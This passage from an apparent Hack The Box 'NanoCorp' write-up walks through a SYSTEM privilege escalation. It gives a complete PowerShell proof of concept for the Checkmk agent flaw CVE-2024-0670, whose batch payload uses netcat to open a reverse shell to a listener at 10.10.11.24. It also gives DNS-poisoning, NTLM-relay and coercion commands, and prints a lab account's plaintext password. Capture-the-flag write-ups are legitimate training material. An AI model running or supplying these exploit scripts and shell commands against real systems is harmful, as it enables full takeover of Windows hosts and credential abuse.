Nudge phase (optional), we loop a few quick connections to 127.0.0.1:6556 to make the agent "work," which tends to tickle its temp script execution.

Proof:

htb_nanocorp_27

The written C:\pwn\pwn.txt contains NT AUTHORITY\SYSTEM.

Privesc

To gain a SYSTEM shell, we'll add the batch with netcat, which won't be a bother for alerting AV, and have the agent (running as SYSTEM) execute it via the same Checkmk temp-file hijack.

Cleanup PoC stuff:

PowerShell
Remove-Item 'C:\Windows\Temp\cmk_*' -Force -ErrorAction SilentlyContinue

Use this one-shot PoC (seed → repair → nudge → verify). Run it as web_svc (or any account that can trigger MSI repair):

PowerShell
# CVE-2024-0670 (Checkmk Agent 2.1.0p10, Windows) 
# Flow: seed predictable ReadOnly .cmd -> MSI repair -> nudge agent -> arbitrary cmd

param(
  [int]$MinPID = 1000,
  [int]$MaxPID = 10000,
  [int]$SeedSeconds = 30,
  [int]$NudgeCount = 120,
  [switch]$NoRepair,   
  [switch]$Cleanup
)

$ErrorActionPreference = 'SilentlyContinue'

# Paths / payload
$ProofDir = 'C:\pwn'
$Proof    = 'C:\pwn\pwn.txt'
$TempDir  = 'C:\Windows\Temp'
$LogPath  = Join-Path $TempDir 'cmk_repair.log'

try { New-Item -ItemType Directory -Path $ProofDir -Force | Out-Null } catch {}

# Resolve Checkmk MSI
$MSI = (
  Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties' |
  Where-Object { $_.DisplayName -like 'Checkmk*' -or $_.Publisher -like '*tribe29*' } |
  Select-Object -First 1 -ExpandProperty LocalPackage
)

if ($MSI -and (Test-Path $MSI)) {
  Write-Host "[*] MSI: $MSI"
} else {
  Write-Host "[-] Could not resolve Checkmk MSI path (continuing if -NoRepair)."
}

# ======== PAYLOAD ========
# we use netcat here; set up listener
$NcPath = 'C:\Temp\nc.exe'   		     # bin path 
$LHOST  = '10.10.11.24'              # listener IP
$LPORT  = 60002                      # listener port

$Batch = '@echo off' + "`r`n" +
         'mkdir C:\pwn 2>nul' + "`r`n" +
         'echo triggered>%SystemRoot%\Temp\cmk_marker.txt' + "`r`n" +
         'rem --- fire reverse shell via your pre-uploaded nc.exe' + "`r`n" +
         'start "" "'+$NcPath+'" -e cmd.exe '+$LHOST+' '+$LPORT+''
# ======== END PAYLOAD ========

function Write-SeedFile([string]$Dest, [string]$Content){
  try{
    [System.IO.File]::WriteAllText($Dest, $Content, [System.Text.Encoding]::ASCII)
    $cur = [System.IO.File]::GetAttributes($Dest)
    [System.IO.File]::SetAttributes($Dest, ($cur -bor [System.IO.FileAttributes]::ReadOnly))
    return $true
  } catch { return $false }
}

# Continuous seeding loop for SeedSeconds seconds (CTR 0 and 1)
$deadline = (Get-Date).AddSeconds($SeedSeconds)
$ctrValues = 0,1
$seedOk = 0

while ((Get-Date) -lt $deadline) {
  for ($guess = $MinPID; $guess -le $MaxPID; $guess++) {
    foreach ($ctr in $ctrValues) {
      $dest = "C:\Windows\Temp\cmk_all_{0}_{1}.cmd" -f $guess,$ctr
      if (Write-SeedFile -Dest $dest -Content $Batch) { $seedOk++ }
    }
  }
}

Write-Host "[*] Seeded $seedOk read-only .cmd files across $MinPID..$MaxPID (CTR=0,1)"

# Trigger server-side repair (must be an account allowed to repair — e.g., web_svc)
if (-not $NoRepair -and $MSI) {
  Write-Host "[*] Triggering server-side repair (silent, verbose log)..."
  Start-Process msiexec.exe -ArgumentList "/fa `"$MSI`" /qn /norestart /l*vx `"$LogPath`"" -Wait
} elseif ($NoRepair) {
  Write-Host "[*] Skipping repair (NoRepair set)."
}

# Nudge local agent to encourage temp activity
Write-Host "[*] Nudging local agent $NudgeCount times..."
for ($i=0; $i -lt $NudgeCount; $i++) {
  try{
    $c = New-Object Net.Sockets.TcpClient('127.0.0.1',6556)
    $s = $c.GetStream()
    $b = New-Object byte[] 256
    $s.ReadTimeout = 800
    try{ [void]$s.Read($b,0,$b.Length) }catch{}
  }catch{}finally{
    try{ if($s){$s.Close()} }catch{}
    try{ if($c){$c.Close()} }catch{}
  }
}

# Tail log if present (service context lines are "MSI (s)")
if (Test-Path $LogPath) {
  Write-Host "[*] Tail of repair log:"
  Get-Content $LogPath -Tail 30 | Out-Host
}

# Quick execution marker check
if (Test-Path "$env:WINDIR\Temp\cmk_marker.txt") {
  Write-Host "[+] Marker found: $env:WINDIR\Temp\cmk_marker.txt"
}

# Optional cleanup
if ($Cleanup) {
  Write-Host "[*] Cleanup: removing seeded .cmd files..."
  Get-ChildItem $TempDir -Filter 'cmk_all_*_0.cmd' -Force | Remove-Item -Force -ErrorAction SilentlyContinue
  Get-ChildItem $TempDir -Filter 'cmk_all_*_1.cmd' -Force | Remove-Item -Force -ErrorAction SilentlyContinue
}

Rooted:

htb_nanocorp_28

NTML Relaying Attack

Since we previously confirmed the target is vulnerable to NTLM reflection, we can pull off a textbook relay attack — either via NTLM (as seen in Signed) or escalate into Kerberos relaying (DarkCorp, but for this case).

Here's the classic Signed-box flow:

PowerShell
# Poison DNS to hijack 'localhost' using marshalled hostname trick
python dnstool.py -u 'nanocorp.htb\web_svc' -p 'dksehdgh712!@#' 240.0.0.1 \
		-a 'add' \
		-r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' \
		-d $attackerIp \
		-dns-ip 240.0.0.1 \
		--tcp --allow-multiple
		
# Set up NTLM relay to WinRMS
ntlmrelayx.py -smb2support -t winrms://240.0.0.1 -i  

# Trigger coercion to the poisoned 'localhost'
nxc smb nanocorp.htb -u web_svc -p 'dksehdgh712!@#' \
		-M coerce_plus \
		-o LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA    

We poison DNS with a marshalled localhost record, set up ntlmrelayx to catch and relay, and finally coerce the authentication via SMB — exact hit:

htb_nanocorp_23

Boom — NT SYSTEM WinRMS shell successfully relayed:

htb_nanocorp_24

Honestly? This root path smells unintended for a Hard box. It's clean, fast, and sidesteps the Checkmk LPE path and RDP entry entirely. But it works — and in an op, that's what counts.